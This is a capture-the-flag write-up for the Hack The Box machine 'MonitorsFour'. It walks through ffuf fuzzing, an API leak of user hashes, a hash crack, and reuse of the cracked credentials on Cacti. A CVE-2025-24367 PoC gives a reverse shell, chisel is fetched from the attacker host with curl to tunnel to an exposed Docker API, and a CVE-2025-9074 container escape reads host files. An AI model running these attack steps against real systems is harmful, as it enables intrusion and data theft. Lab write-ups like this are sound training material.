MonitorsFour
MonitorsFour
Recon
Directories Enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
┌──(kali㉿vm-kali)-[~/htb/monitorsfour]
└─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt:FUZZ -u http://monitorsfour.htb/FUZZ -ac
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://monitorsfour.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
contact [Status: 200, Size: 367, Words: 34, Lines: 5, Duration: 294ms]
user [Status: 200, Size: 35, Words: 3, Lines: 1, Duration: 307ms]
login [Status: 200, Size: 4340, Words: 1342, Lines: 96, Duration: 313ms]
static [Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 154ms]
views [Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 156ms]
controllers [Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 156ms]
forgot-password [Status: 200, Size: 3099, Words: 164, Lines: 84, Duration: 156ms]
:: Progress: [26583/26583] :: Job [1/1] :: 186 req/sec :: Duration: [0:02:20] :: Errors: 1 ::
API Exploitation
Visiting /user: {"error":"Missing token parameter"} Giving token=0 parameter:
1
2
3
[{"id":2,"username":"admin","email":"admin@monitorsfour.htb","password":"56b32eb43e6f15395f6c46c1c9e1cd36","role":"super user","token":"8024b78f83f102da4f","name":"Marcus Higgins","position":"System Administrator","dob":"1978-04-26","start_date":"2021-01-12","salary":"320800.00"},
{"id":5,"username":"mwatson","email":"mwatson@monitorsfour.htb","password":"69196959c16b26ef00b77d82cf6eb169","role":"user","token":"0e543210987654321","name":"Michael Watson","position":"Website Administrator","dob":"1985-02-15","start_date":"2021-05-11","salary":"75000.00"},
{"id":6,"username":"janderson","email":"janderson@monitorsfour.htb","password":"2a22dcf99190c322d974c8df5ba3256b","role":"user","token":"0e999999999999999","name":"Jennifer Anderson","position":"Network Engineer","dob":"1990-07-16","start_date":"2021-06-20","salary":"68000.00"},{"id":7,"username":"dthompson","email":"dthompson@monitorsfour.htb","password":"8d4a7e7fd08555133e056d9aacb1e519","role":"user","token":"0e111111111111111","name":"David Thompson","position":"Database Manager","dob":"1982-11-23","start_date":"2022-09-15","salary":"83000.00"}]
Cracking the password using crackstation.net:
1
2
3
4
5
Hash Type Result
56b32eb43e6f15395f6c46c1c9e1cd36 md5 wonderful1
69196959c16b26ef00b77d82cf6eb169 Unknown Not found.
2a22dcf99190c322d974c8df5ba3256b Unknown Not found.
8d4a7e7fd08555133e056d9aacb1e519 Unknown Not found.
admin:wonderful1
We can use the above creds to login on the main website.
Snooping in admin dashboard
From changelogs tab we noticed: To enhance our product delivery, we have migrated to Windows and ported websites to Docker via Docker Desktop 4.44.2.
Subdomain Enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(kali㉿vm-kali)-[~/htb/monitorsfour]
└─$ ffuf -t 400 -w /usr/share/seclists/Discovery/DNS/combined_subdomains.txt -u http://monitorsfour.htb -H "Host: FUZZ.monitorsfour.htb" -ac
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://monitorsfour.htb
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/combined_subdomains.txt
:: Header : Host: FUZZ.monitorsfour.htb
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 400
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
cacti [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 198ms]
We also found an interesting subdomain cacti.
Cacti
We are immediately greeted with a login page http://cacti.monitorsfour.htb/cacti/:
admin:wonderful1 fails. Cacti is typically used by SysAdmins, we can try to use the permutation of the name of SysAdmin Marcus Higgins.
marcus:wonderful1 works, we have access. Cacti version is Version 1.2.28. It is vulnerable to PHP script injection:
The box creator himself has created a POC for the vulnerability:
Shell as www-data
We will run the Cacti POC:
1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿vm-kali)-[~/htb/monitorsfour/CVE-2025-24367-Cacti-PoC]
└─$ python3 exploit.py -u Marcus -p wonderful1 -i 10.10.16.10 -l 1234 --url http://cacti.monitorsfour.htb
[+] Cacti Instance Found!
[+] Serving HTTP on port 80
[+] Login Successful!
[+] Got graph ID: 226
[i] Created PHP filename: oE96P.php
[+] Got payload: /bash
[i] Created PHP filename: tLuK6.php
[+] Hit timeout, looks good for shell, check your listener!
[+] Stopped HTTP server on port 80
By the looks of it we are inside a docker container:
1
www-data@821fbd6a43fa:~/html/cacti$
It can be further confirmed by:
1
2
3
4
5
6
7
www-data@821fbd6a43fa:~/html/cacti$ ls -la /
ls -la /
total 1892
drwxr-xr-x 1 root root 4096 Dec 10 11:51 .
drwxr-xr-x 1 root root 4096 Dec 10 11:51 ..
-rwxr-xr-x 1 root root 0 Nov 10 17:04 .dockerenv
<SNIPPED>
We don’t need to su marcus to get the user flag, www-data has the perms to read the user flag.
Docker
From the changelogs we noticed the version of Docker is 4.4.2 and the vulnerability states: A vulnerability was identified in Docker Desktop that allows local running Linux containers to access the Docker Engine API via the configured Docker subnet, at 192.168.65.7:2375 by default.
So let’s try to curl the API endpoint:
1
2
3
4
5
6
www-data@821fbd6a43fa:/home/marcus$ curl http://192.168.65.7:2375/version
curl http://192.168.65.7:2375/version
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 852 0 852 0 0 41756 0 --:--:-- --:--:-- --:--:-- 42600
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"28.3.2","Details":{"ApiVersion":"1.51","Arch":"amd64","BuildTime":"2025-07-09T16:13:55.000000000+00:00","Experimental":"false","GitCommit":"e77ff99","GoVersion":"go1.24.5","KernelVersion":"6.6.87.2-microsoft-standard-WSL2","MinAPIVersion":"1.24","Os":"linux"}},{"Name":"containerd","Version":"1.7.27","Details":{"GitCommit":"05044ec0a9a75232cad458027ca83437aae3f4da"}},{"Name":"runc","Version":"1.2.5","Details":{"GitCommit":"v1.2.5-0-g59923ef"}},{"Name":"docker-init","Version":"0.19.0","Details":{"GitCommit":"de40ad0"}}],"Version":"28.3.2","ApiVersion":"1.51","MinAPIVersion":"1.24","GitCommit":"e77ff99","GoVersion":"go1.24.5","Os":"linux","Arch":"amd64","KernelVersion":"6.6.87.2-microsoft-standard-WSL2","BuildTime":"2025-07-09T16:13:55.000000000+00:00"}
Time to pivot to windows using this linux container as our jump host.
Chisel
Let’s transfer chisel to establish a tunnel:
1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿vm-kali)-[~/htb/monitorsfour]
└─$ ./chisel server -p 8000 --reverse
2025/12/10 04:08:51 server: Reverse tunnelling enabled
2025/12/10 04:08:51 server: Fingerprint 11n9MWfvfzw+LzgLitPdDolVz7Sq3piOfWxvRgaFujA=
2025/12/10 04:08:51 server: Listening on http://0.0.0.0:8000
┌──(kali㉿vm-kali)-[~/htb/monitorsfour]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.21.12 - - [10/Dec/2025 04:09:55] "GET /chisel HTTP/1.1" 200 -
On victim:
1
2
3
4
5
www-data@821fbd6a43fa:/home/marcus$ curl http://10.10.16.10/chisel -o /tmp/chisel
<rcus$ curl http://10.10.16.10/chisel -o /tmp/chisel
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 9.7M 100 9.7M 0 0 794k 0 0:00:12 0:00:12 --:--:-- 1935k
We will create a tunnel for the docker API endpoint:
1
2
3
4
5
www-data@821fbd6a43fa:/tmp$ ./chisel client 10.10.16.10:8000 R:2375:192.168.65.7:2375
<el client 10.10.16.10:8000 R:2375:192.168.65.7:2375
2025/12/10 12:11:30 client: Connecting to ws://10.10.16.10:8000
2025/12/10 12:11:33 client: Connected (Latency 143.344066ms)
Root Flag
The CVE-2025-9074 doesn’t stop at the exposed API endpoint, instead it allows an isolated docker container to read the HOST files.
Let’s clone the repo:
1
2
3
4
5
6
7
8
┌──(kali㉿vm-kali)-[~/htb/monitorsfour]
└─$ git clone https://github.com/j3r1ch0123/CVE-2025-9074.git
Cloning into 'CVE-2025-9074'...
┌──(kali㉿vm-kali)-[~/htb/monitorsfour/CVE-2025-9074]
└─$ python3 exploit.py
usage: exploit.py [-h] -u URL -c CMD [--cleanup]
exploit.py: error: the following arguments are required: -u/--url, -c/--cmd
We will then read the root.txt (the HOST is windows, HTB follows a standard directory for root.txt on every OS):
1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿vm-kali)-[~/htb/monitorsfour/CVE-2025-9074]
└─$ python3 exploit.py --url http://localhost:2375 -c 'cat /host_root/Users/Administrator/Desktop/root.txt'
[+] Container created:
{
"Id": "1ba138f3c26322961221d035767820203a49e3766ba575361afe0e96915c5760",
"Warnings": []
}
[+] Container 1ba138f3c26322961221d035767820203a49e3766ba575361afe0e96915c5760 started successfully!
[+] Container logs:
"<REDACTED>
This post is licensed under CC BY 4.0 by the author.